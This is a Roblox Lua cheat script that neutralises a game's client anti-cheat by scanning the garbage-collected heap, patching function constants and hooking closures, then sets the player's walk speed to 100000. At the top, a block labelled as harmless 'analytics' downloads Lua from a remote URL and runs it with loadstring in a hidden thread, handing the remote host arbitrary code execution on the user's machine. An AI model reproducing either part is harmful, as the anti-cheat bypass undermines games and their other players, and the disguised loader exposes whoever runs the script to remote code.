--[[rscripts:analytics:start]]
-- Script analytics (enabled by the creator on rscripts.net).
-- Runs in its own thread and cannot affect the script below.
task.spawn(function()
	pcall(function()
		loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6acb2bcbc19ff8720ec0dbb4"))()
	end)
end)
--[[rscripts:analytics:end]]

do
    local function bypassClientDetections()
        if typeof(filtergc) ~= "function" or typeof(debug) ~= "table" or typeof(debug.getupvalues) ~= "function" then
            return false
        end
        local ok, fn = pcall(function()
            return filtergc("function", { Constants = { "gmatch", "GetFullName" } }, true)
        end)
        if not ok or type(fn) ~= "function" then return false end
        local setMeta = (typeof(setrawmetatable) == "function" and setrawmetatable) or setmetatable
        if not setMeta then return false end
        local okUv, ups = pcall(debug.getupvalues, fn)
        if not okUv or type(ups) ~= "table" then return false end
        for _, tbl in pairs(ups) do
            if typeof(tbl) == "table" then
                pcall(setMeta, tbl, { __newindex = function() end })
            end
        end
        return true
    end
    pcall(bypassClientDetections)

    local AcSlices = {}
    local function ScanGCHeap(step, perChunk)
        local scan = getgc or (debug and debug.getgc)
        if type(scan) ~= "function" then return end
        local ok, objects = pcall(scan, true)
        if not ok or type(objects) ~= "table" then return end
        perChunk = perChunk or 400
        for i = 1, #objects do
            local obj = objects[i]
            objects[i] = nil
            local okStep, stop = pcall(step, obj)
            if okStep and stop == true then return end
            if i % perChunk == 0 then task.wait() end
        end
    end

    AcSlices.FreezeTables = function()
        local setmeta = setrawmetatable or setmetatable
        if not setmeta then return end
        ScanGCHeap(function(obj)
            if typeof(obj) ~= "table" or (getrawmetatable and getrawmetatable(obj)) then return end
            local mainrun = false
            for _, v in pairs(obj) do if v == obj then mainrun = true; break end end
            if not mainrun then return end
            for _, v in pairs(obj) do
                if typeof(v) == "number" and v >= 1 and v <= 3 and obj[v] == nil then
                    pcall(setmeta, obj, { __newindex = function() end })
                    break
                end
            end
        end)
    end

    AcSlices.WipeUGI = function()
        local getconstants = getconstants or (debug and debug.getconstants)
        local setconstant = setconstant or (debug and debug.setconstant)
        if not (getconstants and setconstant and debug and debug.info) then return end
        ScanGCHeap(function(Function)
            if typeof(Function) ~= "function" then return end
            local ok, Source = pcall(debug.info, Function, "s")
            if not ok or type(Source) ~= "string" then return end
            if not Source:find("ReplicatedFirst", 1, true) or not Source:find("UGI", 1, true) then return end
            local okC, Constants = pcall(getconstants, Function)
            if not okC or type(Constants) ~= "table" then return end
            for Index, Constant in next, Constants do
                if type(Constant) == "string" and Constant == "Humanoid" then
                    pcall(setconstant, Function, Index, "")
                end
            end
        end)
    end

    AcSlices.ScrubX14 = function()
        local getconstants = getconstants or (debug and debug.getconstants)
        local HookFn = hookfunction or replaceclosure or hookfunc
        if not (getconstants and HookFn and debug and debug.getstack and debug.setstack) then return end
        ScanGCHeap(function(fn)
            if typeof(fn) ~= "function" then return end
            local ok, consts = pcall(getconstants, fn)
            if not ok or type(consts) ~= "table" or not table.find(consts, "X-14") then return end
            local old;
            pcall(function()
                old = HookFn(fn, function(...)
                    local stack = debug.getstack(1)
                    if type(stack) == "table" then
                        for idx, val in pairs(stack) do
                            if val == "X-14" then pcall(debug.setstack, 1, idx, nil) end
                        end
                    end
                    if old then return old(...) end
                end)
            end)
        end)
    end

    AcSlices.SanitizeState = function()
        local getupvalues = getupvalues or (debug and debug.getupvalues)
        local getupvalue = getupvalue or (debug and debug.getupvalue)
        local setupvalue = setupvalue or (debug and debug.setupvalue)
        if not (getupvalues and getupvalue and setupvalue) then return end
        ScanGCHeap(function(v)
            if typeof(v) ~= "function" then return end
            local ok, upvs = pcall(getupvalues, v)
            if not ok or type(upvs) ~= "table" or #upvs ~= 19 then return end
            local ok2, u2 = pcall(getupvalue, v, 2)
            if not ok2 or typeof(u2) ~= "function" then return end
            pcall(setupvalue, v, 2, function(a, b)
                if b and typeof(b) == "table" then pcall(setmetatable, b, {}) end
                return u2(a, b)
            end)
        end)
    end

    task.spawn(function()
        pcall(AcSlices.FreezeTables); task.wait()
        pcall(AcSlices.WipeUGI); task.wait()
        pcall(AcSlices.ScrubX14); task.wait()
        pcall(AcSlices.SanitizeState)
    end)
end

task.spawn(function()
    local SPEED = 100000
    local Players = game:GetService("Players")
    local player = Players.LocalPlayer
    
    if type(hookmetamethod) ~= "function" or type(hookfunction) ~= "function" 
       or type(getgc) ~= "function" or type(islclosure) ~= "function" 
       or type(debug) ~= "table" or type(debug.info) ~= "function" 
       or type(debug.getupvalues) ~= "function" then
        warn("[Delivery Fix] Incompatible executor - bypass not applied")
        return
    end

    local lock = SPEED
    local oldIndex
    local newIndex = function(self, key, value)
        if lock and key == "WalkSpeed" and value ~= lock then
            local char = player.Character
            if char and self == char:FindFirstChildOfClass("Humanoid") then
            end
        end
        return oldIndex(self, key, value)
    end
    if type(newcclosure) == "function" then
        newIndex = newcclosure(newIndex)
    end
    oldIndex = hookmetamethod(game, "__newindex", newIndex)

    local targets = {}
    for _, fn in next, getgc() do
        if typeof(fn) == "function" and islclosure(fn) then
            local okSrc, src = pcall(debug.info, fn, "s")
            if okSrc and type(src) == "string" and src:find("ContentCatalog%.Runtime") then
                local okA, params = pcall(debug.info, fn, "a")
                local okU, ups = pcall(debug.getupvalues, fn)
                if okA and params == 3 and okU and type(ups) == "table" and #ups == 5 then
                    table.insert(targets, fn)
                end
            end
        end
    end

    for _, fn in ipairs(targets) do
        local orig
        local wrapper = function(a, b, c)
            local sample = orig(a, b, c)
            if type(sample) == "table" and sample.WalkSpeed and sample.Position and sample.Timestamp then
                sample.WalkSpeed = SPEED
            end
            return sample
        end
        if type(newlclosure) == "function" then
            wrapper = newlclosure(wrapper)
        end
        local ok = pcall(function()
            orig = hookfunction(fn, wrapper)
        end)
    end
    warn("[Delivery Fix] Speed Bypass applied successfully")
end)

task.spawn(function()
    if type(filtergc) ~= "function" or type(debug) ~= "table" 
       or type(debug.setconstant) ~= "function" or type(debug.getconstants) ~= "function" then
        warn("[Delivery Fix] Incompatible executor - fix not applied")
        return
    end

    local ok, AntiCheat = pcall(function()
        return filtergc("function", {Constants = { "GetFullName", "gmatch" }}, true)
    end)

    if not ok or type(AntiCheat) ~= "function" then
        warn("[Delivery Fix] Anti-cheat function not found")
        return
    end

    local constants = debug.getconstants(AntiCheat)
    for i, v in pairs(constants) do
        if v == "gmatch" then
            debug.setconstant(AntiCheat, i, "nil")
            warn("[Delivery Fix] Anti-cheat neutralized at index " .. tostring(i))
            return
        end
    end

    warn("[Delivery Fix] 'gmatch' constant not found")
end)